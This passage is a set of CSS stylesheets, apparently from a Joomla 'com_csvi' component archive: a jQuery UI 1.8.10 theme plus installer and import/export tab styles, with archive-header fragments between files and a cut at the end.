TextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=75&borderColorHighlight=fed22f&fcHighlight=363636&iconColorHighlight=228ef1&bgColorError=b81900&bgTextureError=08_diagonals_thick.png&bgImgOpacityError=18&borderColorError=cd0a0a&fcError=ffffff&iconColorError=ffd27a&bgColorOverlay=666666&bgTextureOverlay=08_diagonals_thick.png&bgImgOpacityOverlay=20&opacityOverlay=50&bgColorShadow=000000&bgTextureShadow=01_flat.png&bgImgOpacityShadow=10&opacityShadow=20&thicknessShadow=5px&offsetTopShadow=-5px&offsetLeftShadow=-5px&cornerRadiusShadow=5px */ /* Component containers ----------------------------------*/ .ui-widget { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #dddddd; background: #eeeeee url(images/ui-bg_highlight-soft_100_eeeeee_1x100.png) 50% top repeat-x; color: #333333; } .ui-widget-content a { color: #333333; } .ui-widget-header { border: 1px solid #e78f08; background: #f6a828 url(images/ui-bg_gloss-wave_35_f6a828_500x100.png) 50% 50% repeat-x; color: #ffffff; font-weight: bold; } .ui-widget-header a { color: #ffffff; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #cccccc; background: #f6f6f6 url(images/ui-bg_glass_100_f6f6f6_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #1c94c4; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #1c94c4; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #fbcb09; background: #fdf5ce url(images/ui-bg_glass_100_fdf5ce_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #c77405; } .ui-state-hover a, .ui-state-hover a:hover { color: #c77405; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #fbd850; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #eb8f00; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #eb8f00; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fed22f; background: #ffe45c url(images/ui-bg_highlight-soft_75_ffe45c_1x100.png) 50% top repeat-x; color: #363636; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #b81900 url(images/ui-bg_diagonals-thick_18_b81900_40x40.png) 50% 50% repeat; color: #ffffff; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #ffffff; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #ffffff; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_ef8c08_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_228ef1_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_ffd27a_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } .ui-corner-top { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-bottom { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } .ui-corner-right { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; border-top-right-radius: 4px; -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } .ui-corner-left { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; border-top-left-radius: 4px; -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-all { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; } /* Overlays */ .ui-widget-overlay { background: #666666 url(images/ui-bg_diagonals-thick_20_666666_40x40.png) 50% 50% repeat; opacity: .50;filter:Alpha(Opacity=50); } .ui-widget-shadow { margin: -5px 0 0 -5px; padding: 5px; background: #000000 url(images/ui-bg_flat_10_000000_40x100.png) 50% 50% repeat-x; opacity: .20;filter:Alpha(Opacity=20); -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; }/* * jQuery UI Resizable 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Resizable#theming */ .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block;} .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}/* * jQuery UI Dialog 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog#theming */ .ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } .ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } /* * jQuery UI Tabs 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Tabs#theming */ .ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tabs .ui-tabs-hide { display: none !important; } /* * jQuery UI Progressbar 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Progressbar#theming */ .ui-progressbar { height:2em; text-align: left; } .ui-progressbar .ui-progressbar-value {height:100%; }PKs>\}EEcom_csvi/assets/css/install.cssnuW+A#installcsvi { width: 850px; } #versions { display: block; float: left; border: 0px solid #CCCCCC; width: 300px; } #rightbox { float:right; margin-top:13px; width: 520px; height: 350px; position:relative; border-left: 1px solid #cecece; } #options { position:absolute; top: 0px; left: 1px; padding-left: 5px; padding-top: 3px; padding-bottom: 3px; background-color: #f4f4f4; background: -moz-linear-gradient(left, #e2e0e0 0%, #f4f4f4 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, right top, color-stop(0%,#e2e0e0), color-stop(100%,#f4f4f4)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* IE10+ */ background: linear-gradient(left, #e2e0e0 0%,#f4f4f4 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#e2e0e0', endColorstr='#f4f4f4',GradientType=1 ); /* IE6-9 */ width: 450px; } #progress { display: block; position:absolute; top: 40px; left: 1px; width: 600px; height: 250px; padding: 5px; overflow-y:auto; overflow-x:hidden; } #oldversionbox { height: 34px; width: 274px; font-size: 20px; color: #ea5402; padding-top: 30px; margin: 1px; text-align: center; display: block; background-image: url(images/version_found_bg.png); background-repeat: no-repeat; background-position: center bottom; } #newversionbox { height: 34px; width: 274px; font-size: 20px; color: #126592; padding-top: 30px; margin: 1px; text-align:center; display:block; background-image: url(images/install_info_bg.png); background-repeat: no-repeat; background-position: center bottom; } #update { } #update a, #update a:visited { display: block; padding: 5px; border: 1px solid #fba534; -webkit-border-radius: 6px 6px 6px 6px; -moz-border-radius: 6px 6px 6px 6px; border-radius: 6px 6px 6px 6px; background-color: #fba534; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffad40', endColorstr='#f58c04'); /* for IE */ background: -webkit-gradient(linear, left top, left bottom, from(#ffad40), to(#f58c04)); /* for webkit browsers */ background: -moz-linear-gradient(top, #ffad40, #f58c04); /* for firefox 3.6+ */ -webkit-box-shadow: 1px 1px 4px #666; -moz-box-shadow: 1px 1px 4px #666; box-shadow: 1px 1px 4px #666; color: #FFF; text-decoration:none; font-weight: bold; font-size: 15px; margin-bottom: 10px; margin-top: 12px; width: 35%; text-align:center; } #updatedesc { padding-bottom: 7px; } #install { } #install a, #install a:visited{ display: block; padding: 5px; border: 1px solid #176b99; -webkit-border-radius: 6px 6px 6px 6px; -moz-border-radius: 6px 6px 6px 6px; border-radius: 6px 6px 6px 6px; background-color: #3b91c0; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#3b91c0', endColorstr='#0e5c86'); /* for IE */ background: -webkit-gradient(linear, left top, left bottom, from(#3b91c0), to(#0e5c86)); /* for webkit browsers */ background: -moz-linear-gradient(top, #3b91c0, #0e5c86); /* for firefox 3.6+ */ -webkit-box-shadow: 1px 1px 4px #666; -moz-box-shadow: 1px 1px 4px #666; box-shadow: 1px 1px 4px #666; color: #FFF; text-decoration:none; font-weight: bold; font-size: 15px; margin-bottom: 10px; margin-top: 10px; width: 28%; text-align:center; } #finished { display: block; font-size: 18px; color: #126592; padding-top: 3px; margin: 5px 5px 20px; } #install_continue { vertical-align: middle; } #finished_text { margin-left: 10px; }PKs>\\f''#com_csvi/assets/css/jquery-csvi.cssnuW+A/* Component containers ----------------------------------*/ .ui-widget { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 1em; } .ui-widget-content { border: 1px solid #aaaaaa; background: #ffffff ; color: #222222; } .ui-widget-content a { color: #222222; } .ui-widget-header { border: 0px solid #aaaaaa; color: #222222; font-weight: bold; background-color: #cccccc; background-image: url(images/maintabbg.png); background-repeat: repeat-x; background-position: 50% bottom; } .ui-widget-header a { color: #222222; } a:active { outline: none;} a:focus { outline: none;} /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #555555; background-color: #e6e6e6; background-image: url(images/deactmaintab.png); background-repeat: repeat-x; background-position: 50% bottom; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #2a6583; text-decoration: none; font-size:16px; } /*.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border-bottom: 1px solid #4a84a5; font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: 50% bottom; }*/ .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: 50% bottom; } .ui-state-hover a, .ui-state-hover a:hover { color: #3f7c9b; text-decoration: none; font-size: 16px; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; font-weight: normal; color: #212121; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; text-decoration: none; font-weight:bold; } .ui-widget :active { outline: none; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; border-bottom: 0 !important; padding: 0; white-space: nowrap; margin-top: 0; margin-right: 0.2em; margin-bottom: 2px; margin-left: 0; } .ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding-top: 0.2em; padding-right: 0.7em; padding-bottom: 0.2em; padding-left: 0.7em; } /*IMPORT PAGE */ #import_page #options_tab .ui-widget { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget .ui-widget { font-size: 0.8em; } #import_page #options_tab .ui-widget input, #import_page #options_tab .ui-widget select, #import_page #options_tab .ui-widget textarea, #import_page #options_tab .ui-widget button { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget-content { border-top: 0px solid #aaaaaa; border-bottom: 1px solid #aaaaaa; border-left: 1px solid #aaaaaa; border-right: 1px solid #aaaaaa; background: #ffffff ; color: #222222; } #import_page #options_tab .ui-widget-content a { color: #222222; } #import_page #options_tab .ui-widget-header { border: 0px solid #aaaaaa; color: #222222; font-weight: bold; background-color: #cccccc; background-image: url(images/maintabbg.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-widget-header a { color: #222222; } #import_page #options_tab a:active { outline: none;} #import_page #options_tab a:focus { outline: none;} #import_page #options_tab .ui-state-default, #import_page #options_tab .ui-widget-content .ui-state-default, #import_page #options_tab .ui-widget-header .ui-state-default { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #555555; background-color: #e6e6e6; background-image: url(images/subtab_bg.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-state-default a, #import_page #options_tab .ui-state-default a:link, #import_page #options_tab .ui-state-default a:visited { color: #2a6583; text-decoration: none; font-size:14px; } #import_page #options_tab .ui-state-hover, #import_page #options_tab .ui-widget-content .ui-state-hover, #import_page #options_tab .ui-widget-header .ui-state-hover { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #212121; background-color: #dadada; background-image: url(images/deactmaintab_hov.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-state-hover a, #import_page #options_tab .ui-state-hover a:hover { color: #3f7c9b; text-decoration: none; font-size: 14px; } #import_page #options_tab .ui-state-active, #import_page #options_tab .ui-widget-content .ui-state-active, #import_page #options_tab .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; background: #ffffff url(images/activetab_bg.png) 50% top repeat-x; font-weight: normal; color: #212121; } #import_page #options_tab .ui-state-active a, #import_page #options_tab .ui-state-active a:link, #import_page #options_tab .ui-state-active a:visited { color: #212121; text-decoration: none; font-weight:bold; } #import_page #options_tab .ui-widget :active { outline: none; } #import_page #options_tab .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; border-bottom: 0 !important; padding: 0; white-space: nowrap; margin-top: 0; margin-right: 0.2em; margin-bottom: 1px; margin-left: 0; } #import_page #options_tab .ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding-top: 0.5em; padding-right: 0.7em; padding-bottom: 0.3em; padding-left: 0.7em; } /*IMPORT PAGE */ #import_page #options_tab .ui-widget { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget .ui-widget { font-size: 0.8em; } #import_page #options_tab .ui-widget input, #import_page #options_tab .ui-widget select, #import_page #options_tab .ui-widget textarea, #import_page #options_tab .ui-widget button { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif ; font-size: 0.8em; } #import_page #options_tab .ui-widget-content { border-top: 0px solid #aaaaaa; border-bottom: 1px solid #aaaaaa; border-left: 1px solid #aaaaaa; border-right: 1px solid #aaaaaa; background: #ffffff ; color: #222222; } #import_page #options_tab .ui-widget-content a { color: #222222; } #import_page #options_tab .ui-widget-header { border: 0px solid #aaaaaa; color: #222222; font-weight: bold; background-color: #cccccc; background-image: url(images/maintabbg.png); background-repeat: repeat-x; background-position: 50% bottom; } #import_page #options_tab .ui-widget-header a { color: #222222; } /*EXPORT PAGE*/ #export_page #options_tab .ui-state-default, #export_page #options_tab .ui-widget-content .ui-state-default, #export_page #options_tab .ui-widget-header .ui-state-default { /* border-bottom: 1px solid #4a84a5;*/ font-weight: normal; color: #555555; background-color: #e6e6e6; background-image: url(images/subtab_bg.png); background-repeat: repeat-x; background-position: 50% bottom; } #export_page #options_tab .ui-state-default a, #export_page #options_tab .ui-state-default a:link, 